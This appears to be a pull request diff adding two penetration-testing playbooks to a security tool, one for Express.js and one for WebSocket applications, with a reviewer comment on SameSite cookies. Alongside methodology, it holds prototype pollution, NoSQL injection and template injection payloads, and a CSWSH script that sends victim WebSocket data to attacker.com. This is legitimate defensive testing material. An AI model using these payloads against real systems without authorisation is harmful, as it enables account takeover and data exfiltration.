Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
206 changes: 206 additions & 0 deletions strix/skills/frameworks/express.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,206 @@
---
name: express
description: Security testing playbook for Express.js covering middleware ordering, route auth gaps, prototype pollution, and session/CSRF weaknesses
---

# Express.js

Security testing for Express and common middleware stacks (body-parser, cors, helmet, express-session, passport). Focus on middleware ordering, missing route-level auth, unsafe deserialization of user input into objects, and inconsistent enforcement across routers.

## Attack Surface

**Core Components**
- Middleware stack order: `app.use()` global vs `router.use()` scoped
- Routers: `express.Router()` mounted at prefixes (`/api`, `/admin`, `/v1`)
- Route handlers: `app.get/post/put/delete`, async handlers, error middleware
- Static serving: `express.static`, `sendFile`, custom download handlers

**Common Middleware**
- `body-parser` / `express.json` / `express.urlencoded` / `express.raw`
- `cors`, `helmet`, `compression`, `morgan`
- `express-session`, `cookie-parser`, `passport`, `express-jwt`
- `multer` / `busboy` for uploads
- `express-validator`, `celebrate`, `joi` validation (often partial)

**Data & Templates**
- Template engines: EJS, Pug, Handlebars, Nunjucks
- MongoDB via Mongoose, SQL via Sequelize/Prisma/Knex
- `req.query`, `req.params`, `req.body`, `req.cookies`, `req.headers`

## High-Value Targets

- `/api/*` routers mounted without global auth middleware
- Admin routers at `/admin`, `/internal`, `/management`
- File upload/download routes using `multer`
- Webhook/callback endpoints (`/webhook`, `/callback`, `/notify`)
- Session-based auth without CSRF on state-changing routes
- `process.env` values leaked via error handlers or `/debug` routes
- GraphQL or Socket.io mounted as sub-apps with weaker auth

## Reconnaissance

**Route Discovery**
```
# Common API prefixes
/api /api/v1 /api/v2 /v1 /v2 /graphql /socket.io

# Error-based route hints
GET /api/users/999999
POST /api/admin with {}
```

**Fingerprinting**
```
X-Powered-By: Express
Set-Cookie: connect.sid=...
```

Inspect `package.json` / `node_modules` in white-box scans for: `passport`, `jsonwebtoken`, `express-session`, `cors`, `lodash`, `serialize`, `ejs`.

**Middleware Mapping (white-box)**

Trace `app.use()` order — auth middleware placed after routes it should protect is a common bug. Routers mounted before `express.json()` may parse bodies differently.

## Key Vulnerabilities

### Authentication & Authorization

**Middleware Gaps**
- Global auth on `/api` but `/api/internal` router mounted without guard
- `router.use(auth)` on collection routes but `GET /:id` missing per-object checks
- JWT verified in middleware but `req.user` fields trusted without role re-check on admin routes

**Passport / JWT**
- `passport-jwt` extracts token but strategy doesn't validate `aud`/`iss`
- `secretOrKey` from env with weak/default value
- API keys in query string logged by proxies

### Prototype Pollution

Express apps frequently merge `req.body` / `req.query` into options objects via `lodash.merge`, `Object.assign` loops, or query parsers.

```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"role": "admin"}}}
```

See `prototype_pollution` skill for gadget chains and validation. Test every JSON body endpoint and nested query parameters.

### NoSQL Injection (Mongoose)

```json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"$where": "this.password.match(/.*/)"}
```

Operator injection via `req.query.filter` passed directly to `Model.find(req.query)`.

### Server-Side Template Injection

EJS/Pug/Handlebars with user-controlled template names or unescaped output:
```javascript
// Vulnerable patterns
res.render(userInput)
ejs.render(userControlledTemplate)
```

Test `<%= 7*7 %>`, `${7*7}`, `{{7*7}}` depending on engine.

### CSRF

Express has no built-in CSRF protection.
- `express-session` + cookie auth on POST/PUT/DELETE without a maintained synchronizer-token or double-submit CSRF implementation
- `SameSite=None` cookies without proper origin checks
- CORS `credentials: true` with reflected origins

### CORS Misconfiguration

```javascript
// Dangerous patterns
cors({ origin: true, credentials: true }) // reflects any origin
cors({ origin: '*' }) with credentials
```

Test cross-origin requests with victim cookies to sensitive endpoints.

### Path Traversal & LFI

```javascript
res.sendFile(req.query.path)
res.download('../' + req.params.file)
express.static with symlink following
```

### SSRF

`axios`/`node-fetch`/`request` fetching user-supplied URLs in webhooks, preview, import features. Test loopback, metadata IPs, redirect chains.

### File Upload (Multer)

- Extension/MIME checked client-side only
- `destination` callback using unsanitized `file.originalname`
- Uploaded files served from `/uploads` with `Content-Disposition: inline`

### Rate Limiting Bypass

- `express-rate-limit` applied globally but skipped on `/api/login` brute-force paths
- `X-Forwarded-For` spoofing when `trust proxy` enabled without network boundary

### Error & Information Disclosure

- Stack traces in production (`NODE_ENV` not `production`)
- Verbose 404 messages revealing route existence
- `express-status-monitor`, `/metrics` exposed without auth

## Bypass Techniques

- Content-Type switching: `application/json` vs `application/x-www-form-urlencoded` hitting different parsers
- HTTP method override headers where proxies honor `X-HTTP-Method-Override`
- Trailing slash and case variants: `/API/users` vs `/api/users`
- Parameter pollution: duplicate keys in query and body
- Race conditions on session/token issuance (parallel login + privilege change)

## Testing Methodology

1. **Map routers** — Enumerate mounted paths, versioned APIs, static mounts
2. **Auth matrix** — Unauth/user/admin for each route and HTTP method
3. **Middleware order** — Confirm auth runs before handlers on every mount point
4. **Object ownership** — Swap IDs across two sessions on all CRUD endpoints
5. **Prototype pollution probe** — Canary key on all JSON-merge endpoints
6. **CSRF** — Cross-origin POST with session cookie on state-changing routes
7. **Sub-app parity** — Same auth on Socket.io/GraphQL mounts as REST

## Validation

1. Side-by-side requests showing missing auth or IDOR (owner vs non-owner)
2. CSRF PoC for session-authenticated state change
3. Prototype pollution behavioral proof with unique canary property
4. Template/NoSQL/SSRF with deterministic oracle (output, OAST, timing)
5. Document exact middleware/router where enforcement failed

## False Positives

- `router.use(authenticate)` applied before all child routes consistently
- `Object.create(null)` used for options merging throughout codebase
- CSRF token validated on all unsafe session-authenticated methods
- CORS origin whitelist is explicit array, not reflection
- `helmet` + `noSniff` + `Content-Disposition: attachment` on uploads

## Impact

- Full account takeover via session/JWT weaknesses or prototype pollution
- Data breach via NoSQL injection or IDOR across API routers
- RCE via SSTI or deserialization (`node-serialize`, unsafe `eval`)
- Admin access via unprotected `/admin` router or role field pollution

## Pro Tips

1. Check every `express.Router()` mount — auth middleware on parent `app` may not cover sibling routers
2. `app.use('/api', router)` vs `app.use(router)` — scope mistakes are frequent
3. Async error handlers without `express-async-errors` may skip error middleware silently
4. Test `app._router.stack` in local dev to dump registered routes (white-box)
5. Combine with `prototype_pollution` and `insecure_deserialization` skills for Node chains

## Summary

Express security is middleware-order dependent. Auth must wrap every router and transport; user input must never merge unsafely into object prototypes. Test mounted sub-apps and async routes with the same rigor as top-level handlers.
189 changes: 189 additions & 0 deletions strix/skills/protocols/websocket.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
---
name: websocket
description: WebSocket security testing covering handshake auth gaps, origin validation, subscription IDOR, and message-level authorization failures
---

# WebSocket

WebSocket endpoints often have weaker authentication and authorization than their HTTP equivalents. Handshake checks may pass once, then per-message enforcement is missing — enabling subscription hijacking, cross-user data leaks, and CSWSH (Cross-Site WebSocket Hijacking).

## Attack Surface

**Protocols & Libraries**
- Raw WebSocket (RFC 6455)
- Socket.io (HTTP long-polling fallback, namespaces, rooms)
- `ws` (Node), Django Channels, FastAPI/Starlette, NestJS `@WebSocketGateway`
- GraphQL subscriptions (`graphql-ws`, `graphql-transport-ws`)

**Handshake**
- Upgrade request: `GET` with `Connection: Upgrade`, `Upgrade: websocket`
- `Sec-WebSocket-Key` / `Sec-WebSocket-Version`
- `Origin`, `Cookie`, `Authorization` headers at connect time
- Subprotocol negotiation: `Sec-WebSocket-Protocol`

**Message Patterns**
- JSON RPC-style: `{action, type, event, channel, room, topic, payload}`
- Pub/sub: subscribe/unsubscribe to channels by ID or name
- Heartbeat/ping-pong, binary frames, fragmented messages

## Reconnaissance

**Endpoint Discovery**
```
/ws /websocket /socket /socket.io /sockjs
/ws/chat /ws/notifications /realtime /live
/engine.io (Socket.io transport)
```

**Browser DevTools**
- Network tab → filter WS → inspect frames, sent headers at handshake
- Note cookies and `Authorization` sent (or absent) on upgrade

**Socket.io Fingerprint**
```
GET /socket.io/?EIO=4&transport=polling
```
Response reveals version, namespaces, session IDs.

**Message Enumeration**

Capture legitimate client traffic; map event names (`join`, `subscribe`, `message`, `admin`, `broadcast`). Fuzz `type`/`action` fields with admin/debug event names from JS bundles.

## Key Vulnerabilities

### Authentication Gaps

**Missing Handshake Auth**
- Server accepts connections without `Authorization` or session cookie
- Token in query string only (`wss://host/ws?token=`) — leaks via Referer/logs
- Auth checked on HTTP site but not on parallel WS endpoint

**One-Time Auth Only**
- Token validated at connect; no per-message re-validation after logout/revocation
- Role change on HTTP side not reflected in open WS session

### Origin Validation (CSWSH)

Cross-Site WebSocket Hijacking: victim browser opens WS to target with victim's cookies because server doesn't validate `Origin`.

Comment on lines +66 to +68

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security SameSite CSWSH State Missing

This CSWSH description assumes the victim browser sends cookies on a cross-site WebSocket handshake. With SameSite=Lax or Strict, modern browsers usually withhold those cookies for this handshake, so the listed PoC can become a false positive; SameSite still does not replace Origin validation for same-site subdomain or legacy-client cases.

Prompt To Fix With AI
This is a comment left during a code review.
Path: strix/skills/protocols/websocket.md
Line: 66-68

Comment:
**SameSite CSWSH State Missing**

This CSWSH description assumes the victim browser sends cookies on a cross-site WebSocket handshake. With `SameSite=Lax` or `Strict`, modern browsers usually withhold those cookies for this handshake, so the listed PoC can become a false positive; SameSite still does not replace Origin validation for same-site subdomain or legacy-client cases.

How can I resolve this? If you propose a fix, please make it concise.

**SameSite caveat:** With `SameSite=Lax` or `Strict` session cookies, modern browsers usually withhold cookies on cross-site WebSocket handshakes — CSWSH PoCs may fail even when Origin validation is missing. Re-test with `SameSite=None` sessions and legacy clients. SameSite does not replace Origin checks for same-site subdomain attacks or token-in-query auth.

**Test:**
```html
<script>
ws = new WebSocket("wss://target.com/ws");
ws.onmessage = m => fetch("https://attacker.com/?"+btoa(m.data));
</script>
```

- Missing or wildcard `Origin` check on handshake
- `Origin: null` accepted (sandboxed iframe contexts)
- Check `Host` header poisoning on WS upgrade

### Authorization / IDOR

**Channel/Room Subscription**
```json
{"action":"subscribe","channel":"user.123.notifications"}
{"event":"join","room":"admin-dashboard"}
{"type":"listen","topic":"org/456/billing"}
```

Swap IDs to access other users' channels. Test horizontal (peer user) and vertical (admin) topics.

**Message-Level IDOR**
```json
{"action":"send","to":"victim_user_id","body":"phishing"}
{"action":"read","conversationId":"foreign_uuid"}
```

Server routes messages by client-supplied destination without server-side ownership check.

### Injection & Logic Flaws

**Server-Side**
- JSON fields passed to SQL/NoSQL/template engines without sanitization
- Command events triggering server actions (`exec`, `eval`, `system`) on user input
- Broadcast to all connected clients without intent (message fan-out abuse)

**Client-Side**
- WS messages inserted into DOM without encoding → stored/reflected XSS via chat
- `innerHTML` updates from `onmessage` handlers

### Socket.io Specific

- Namespace `/admin` reachable without auth while default `/` is public
- Room join without membership check: `socket.join(attacker_controlled_room)` then listen
- Admin flag in handshake cookie not re-checked on `socket.on('admin_action')`
- Polling transport CSRF: POST to `/socket.io/` with session cookie

### GraphQL Subscriptions

- Subscription resolver lacks same auth as query resolver
- `subscription { userData(userId: "OTHER") }` IDOR via variables
- Introspection over WS revealing subscription schema

### Denial of Service

- No message size/rate limits → large frame floods
- Ping/pong abuse, slow read attacks
- Unlimited subscriptions per connection

## Advanced Techniques

**Handshake Smuggling Context**
- WS upgrade through CDN/proxy with different auth than direct origin
- ALB/Cloudflare WebSocket settings exposing internal paths

**Token Replay**
- Capture WS `Authorization` header from one client; replay from another IP
- Subprotocol token passed in `Sec-WebSocket-Protocol` — often logged

**Parallel Transport Testing**
- Same operation via HTTP API vs WS — compare auth requirements
- REST blocked but WS `delete_user` event succeeds

## Testing Methodology

1. **Capture baseline** — Connect as legitimate user; record handshake headers and message schema
2. **Unauthenticated connect** — Omit cookies/tokens; attempt subscribe/send
3. **Origin fuzz** — `Origin: https://evil.com`, `null`, missing
4. **IDOR matrix** — Swap user/org/channel IDs in subscribe and message events
5. **Privilege escalation** — User token on admin channels/events
6. **Cross-transport** — Compare HTTP vs WS auth for equivalent operations
7. **Post-logout** — Revoke session on HTTP; verify WS still accepts messages

## Validation

1. Demonstrate cross-user data read or write via WS (subscription IDOR or message routing)
2. CSWSH PoC: cross-origin page receives victim WS data using victim cookies
3. Show unauthenticated or post-logout access to protected channel/action
4. Document event name, payload, and missing server-side check
5. Confirm HTTP equivalent correctly blocks the same unauthorized action

## False Positives

- Origin checked against explicit allowlist on every handshake
- Per-message auth re-validates session/token and object ownership
- Channel names are server-assigned opaque tokens, not guessable user IDs
- WS requires non-cookie token not sent automatically by browser (mitigates CSWSH)
- Connection rejected after HTTP logout via server-side session invalidation broadcast

## Impact

- Real-time eavesdropping on notifications, chat, trading, admin dashboards
- Cross-user message injection and impersonation
- CSWSH session riding for live account manipulation
- Privilege escalation to admin channels without HTTP-side authorization

## Pro Tips

1. Always test WS with and without cookies — many apps only protect HTTP
2. Map event names from minified JS; look for `emit("`, `.on("`, `subscribe(`
3. Socket.io: test each namespace independently — auth is per-namespace
4. After IDOR on subscribe, wait for server-pushed events (not just request/response)
5. Pair with `idor`, `csrf`, and framework skills (nestjs, fastapi, django channels)

## Summary

WebSocket security requires handshake auth, strict Origin validation, and per-message authorization — not just connect-time checks. Treat every subscribe/send event like an HTTP endpoint with its own authz test.